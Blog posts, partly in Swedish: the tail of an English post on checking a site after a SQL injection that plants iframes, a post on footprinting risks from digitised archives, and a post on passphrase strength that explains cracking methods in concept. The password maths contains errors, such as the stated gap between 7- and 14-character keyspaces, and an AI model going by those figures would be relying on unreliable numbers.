That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the ”iframe”-code.

But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.

If all those three things show no evidence of a successful attack, you’re probably in the clear. I said ”probably”. Good. Next up for you is a cup of coffee and a chat with the developers.

The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.

What must be done to secure a web application depends on how the application is built, but there are a few general rules:

Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.

The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?

The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like ”The application has experienced a problem and your request could not be completed. Please call your system administrator.”

At the end of the day you hopefully get to write a report stating that you sound the ”all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.

• 0 comments

Klassiskt citat vid det här laget: ”Vi som är födda före Facebook blev populärt, slipper skämmas för vad vi gjorde när vi var ungdomar”.

Visst är det så. Det finns säkert många pinsamma bilder de äldre generationerna när de har en lampskärm på huvudet och super billig Rysk Vodka. Dessa bilder hamnar troligen bland massor av andra i ett arkiv där de aldrig mer ser dagens ljus. Och ingen är ledsen för det. Men det är inte alltid så.

Ibland flyter gamla försyndelser upp och personer får stå till svars för saker de sagt, eller gjort när de var unga. T.ex. bilder, som då var menade som en rolig grej, men som många år senare blir pinsamma inför en persons valrörelse eller när vederbörande blir VD för ett företag.

Men allt är inte bilder. Med vår stora förtjusning av digitalisering som företag, kommuner och organisationer sysslar med just nu, dyker saker upp helt oväntat.

När jag sökte på mitt namn på Google kom helt plötsligt en artikel från DN som skrevs om mig 1993 upp. Det är när jag förklarade att jag hellre var ensam än hängde på ytliga fester och drack mig berusad. Ingenting pinsamt egentligen, men helst hade jag nog sett att den försvann i glömskans djup.

I IT-säkerhetsvärlden är denna typ av information ingenting som man tänker på. Men för en hackare eller en penetrationstestare ger den mer vapen att tillgå under ”footprinting”-fasen, när man försöker ta reda på information om ett företag, en person eller en organisation. Alla försök att minimera informationen som finns att tillgå, kan motverkas av att information från gamla faxar, BBSer, brev och telex helt plötsligt läggs ut på nätet utan förvarning. Och det är inte under vår kontroll.

När information digitaliseras, kan en hackare som tar sig in hos en myndighet läcka ut bra mycket mer information än för 10-15 år sedan. Och mer blir det. ”Vad som göms i snö, kommer upp i tö”.

Vad är strategin för att hantera detta? Det är troligen en plan att se till att ha en omvärldsbevakning där man har mekanismer för att hantera när information om en själv, sitt företag eller organisation omnäms. Det är också viktigt att fundera på om man verkligen VILL digitalisera allting. Måste saker som skulle kunna vara skadligt i händerna på en hacker bli digitalt? Fundera på detta och kom ihåg ”Internet glömmer aldrig”.

• 0 comments

Att välja bättre lösenord med passfraser
Av Erik Zalitis.
Skriven: 2019-08-26.

2012 skrev jag ett inlägg om säkra lösenord och diskuterade hur de borde användas. Det har hänt en del sen dess och numera är vi långsamt påväg att lämna lösenorden för säkrare sätt att autentisera oss. Men vi är inte där på långa vägar, så frågan om lösenord kvarstår. Hur väljer man säkra sådana?

I originaltexten skrev jag att man kan skikta lösenorden och ha regler för vilka som fick återanvändas och vilka som måste vara unika. Detta råd är helt förlegat. Nu gäller det att ha en vettig lösenordshanterare som låter dig generera starka lösenord för varje tjänst.

Men om du måste använda manuella lösenord, kommer här vad du behöver tänka på.

Ta fram en mening som inte är direkt möjlig att koppla till dig, din familj eller ting du har i din närhet. Solen skiner och jag är glad låter bra och går lätt att trycka ihop till SolenskinerOchJagEGlad. Notera att jag konverterade bort mellanslagen och de svenska tecknen. Om ditt system stöder Svenska tecken kan du öka säkerheten genom att använda dem. Det är tyvärr många system som inte funkar med tecken som åäöÅÄÖ.

Det är viktigt att ha MINST fyra ord i varje lösenord du genererar på detta sätt. Och antalet tecken måste överstiga 12.

Matematiken bakom

Vettigt byggda system lagrar lösenordsuppgifter som så kallade hashar. Dessa kan ses som ”fingeravtryck” av en lösenord. Man kan inte få tillbaka lösenordet från en hash, däremot kan man utnyttja testa lösenord tills man får fram samma hash och då vet man lösenordet. En komplicerat lösenord är oftare än många anar värdelöst. Lösenordet Sommar11 är lättare att knäcka än Ad21cTG4, men detta beror på hur man försöker gissa lösenordet.

Två saker avgör svårigheten i att gissa ett lösenord: entropin och längden på lösenordet. Entropin i detta fall är antalet möjliga tecken per position i lösenordet. Tänk dig att vi vet ett av lösenorden i listan på lösenords-hashar som vi vill knäcka och att det är Ad21cTG4. Där kan man gissa att systemet som genererat det har gett varje position en slumpmässigt vald siffra, stor eller liten bokstav. Det är rimligt att anta att det handlar om bokstäver från A-Z, a-z (26 små bokstäver + 26 stora bokstäver) och nummer mellan 0-9. Det innebär att entropin är 26+26+10=62 möjliga tecken per position.

Vi gör ännu en djärv gissning: lösenorden är automatiskt genererade och alla har samma längd. Dessutom verkar inte användaren tvingas att byta det direkt, eftersom det lösenord vi redan har verkar vara genererat av en dator och inte en människa. Det kan vara fel, men hackare måste lära sig göra rimliga gissningar.

Längden för lösenordet är som sagt 8 tecken, så kan man ju tro att antalet möjliga lösenord är 62 * 8 = 496. Om nu så vore fallet skulle lösenord inte gå att använda överhuvudtaget. 496 möjliga kombinationer är trivialt att knäcka. I verkligheten är det lite knepigare att beräkna antalet möjliga kombinationer: n!/k! * (n-k)!, där n är antal möjliga tecken och k är lösenordets längd. 1)

”!” inom matematiken kallas fakultet och innebär förenklat att man multiplicerar alla heltal från 1 till och med talet självt. För att ta ett exempel: 6! blir då 12345*6.

Mer om begreppet ”Fakultet”:
http://sv.wikipedia.org/wiki/Fakultet_%28matematik%29

Vi har 62 möjliga kombinationer (entropin) gånger 8 tecken, så:

62!/(8!*(62-8)!) = 3381098545 (3,381098545 x 10^9) möjliga kombinationer.

Tyvärr är detta också helt fel, då det antar att varje tecken bara få användas en gång och att ordningen av positioner är ointressant. Ad21cTG4 skulle då vara exakt samma lösenord som dA21cT4G, vilket är väldigt osannolikt.

Lösningen är att använda en formel för att räkna permutationer istället. Detta funkar som en formel för kombinationer, men räknar som att tecknens placering i lösenordet är relevanta. Vår valda formel tillåter att alla tecken i entropirymden får användas mer än en gång i samma lösenord.

Goda nyheter, den är betydligt enklare än den förra formeln:

n upphöjt till k

62 upphöjt till 8 = 218340105584896 (2,18340105584896 x 10^14) möjliga kombinationer.

Varför detta krånglande kan man tycka? Min poäng var att poängtera att inte glömma detta med att ett lösenord måste ha en viss ordning för att vara unik, när man räknar på lösenordsstyrka och att jag vill poängtera att ordet ”kombinationer” är felaktigt att använda om lösenord. Det heter ”antalet möjliga permutationer” och inte ”antalet möjliga kombinationer”.

Nu kommer den sista delen av sifferjonglerandet, där jag ska visa att ett 14 tecken långt lösenord inte ger dubbelt så många kombinationer som ett sju tecken långt.

Entropi: a-ZA-Z0-9

Antal tecken (k)	Möjliga lösenord (permutationer) (n upphöjt till k)
1	62
2	3844
3	238 328 (238 tusen)
4	14 776 336 (15 miljoner)
5	916 132 832 (nästan en miljard)
6	56 800 235 584 (57 miljarder)
7	3 521 614 606 208 (3,5 tusen miljarder)
8	218 340 105 584 896 (218 tusen miljarder)
9	13 537 086 546 263 552 (13 tusen tusen miljarder)

(…)

14	12 401 769 434 657 526 912 139 264

I detta fall har ett 14 tecken långt lösenord 3 521 614 606 208 (3,5 tusen miljarder) fler kombinationer än ett 7 tecken långt. Man kan ju tycka att ett 7 tecken långt lösenord med denna entropi är omöjligt att knäcka. 3,5 tusen miljarder möjliga lösenord kan tyckas vara extremt, men det finns en faktor kvar och det är hur många lösenord man kan testa i sekunden. Wikipedian ger oss något att jobba med: “For some kinds of password hash, ordinary desktop computers can test over a hundred million passwords per second using password cracking tools running on a general purpose CPU(…)”. 2) Låt oss anta att detta stämmer i vårt fall och din helt splitternya PC hanterar 100 miljoner lösenord-gissningar i sekunden. Då får du fram:

3521614606208 / 100 000 000 = 35216 sekunder (avrundat) = 9,8 timmar.

Tydligen är detta ett bevis på att sju tecken inte är på långa vägar tillräckligt. Hur funkar det med 14 tecken då?`

12401769434657526912139264 / 100 000 000 = 1,2401769*10^17 sekunder (avrundat) = 3932 575 290 = drygt 3,9 miljarder år.

Det finns idag extremt kraftfulla beräkningskluster (ungefär en stor samling ihopkopplade datorer som delar upp beräkningarna mellan sig) som kan gissa långt fler än 100 miljoner lösenord per sekund. Men problemet kvarstår, det handlar om så pass långa tidsrymder att det troligen inte är möjligt att knäcka inom rimlig tid.

1) https://betterexplained.com/articles/easy-permutations-and-combinations/
2) http://en.wikipedia.org/wiki/Password_cracking

Hur attackerar man ett lösenord i verkligheten?

SolenskinerOchJagEGlad har fler än 14 tecken, vilket betyder att ni som kör Windows-burkar inte lagrar lösenordet med hjälp av den knäckta LanManager-algoritmen som lagrar lösenordet som två 7-teckens lösenord och inte skiljer mellan stora och små bokstäver. Ni förstår säkert nu hur illa detta är med tanke på vad vi just gått igenom.

Brute force
Alla formlerna ovan har visat hur svårt det är att gissa riktigt långa lösenord med hög entropi. Brute force testar alla möjliga permutationer upp till ett visst antal tecken med en förinställd entropi. På riktigt långa lösenord är brute force inte särskilt användbart.

Ordliste-attack
Ordliste-attacker testar ord och kombinationer av ord från ordlistor. Den lägger normalt även till siffror, så kombinationen Sommar11 är lätt att knäcka med en ordliste-attack.

Dock har dessa attacker problem med lösenord som innehåller fyra ord eller fler. Särskilt som att du nu har ändrat delar av orden till siffror.

Rainbowtables
En bra teknik för att snabba upp knäckandet är att förberäkna och skapa en databas med möjliga hashar för en lösenordslängd och entropi. Då behöver du bara slå upp din hash och kan då få svar mycket snabbare. Problemet är att dessa databaser snabbt blir stora och tar tid att bygga. De finns förberäknade databaser att köpa eller ladda ner gratis. När lösenorden närmar sig 20 tecken eller mer, är de flesta inte användbara längre.

Hybridattacker
Här finns nog den bästa möjligheten. Genom att blanda ordlistor med brute force kanske det är möjligt. Men jag ställer mig tvekande till att SolenSkinerOchJagEGlad är möjligt att knäcka inom rimlig tid. Tänk också på att det är en stor skillnad mellan ”offline-attacker” där du har en ”oändlig tid” på dig att testa och online-attacker som är svåra att hinna med innan kontot spärras eller någon skyddsfunktion träder in.

Läs vidare
http://sv.wikipedia.org/wiki/Permutation
http://sv.wikipedia.org/wiki/Kombination_%28matematik%29

• 0 comments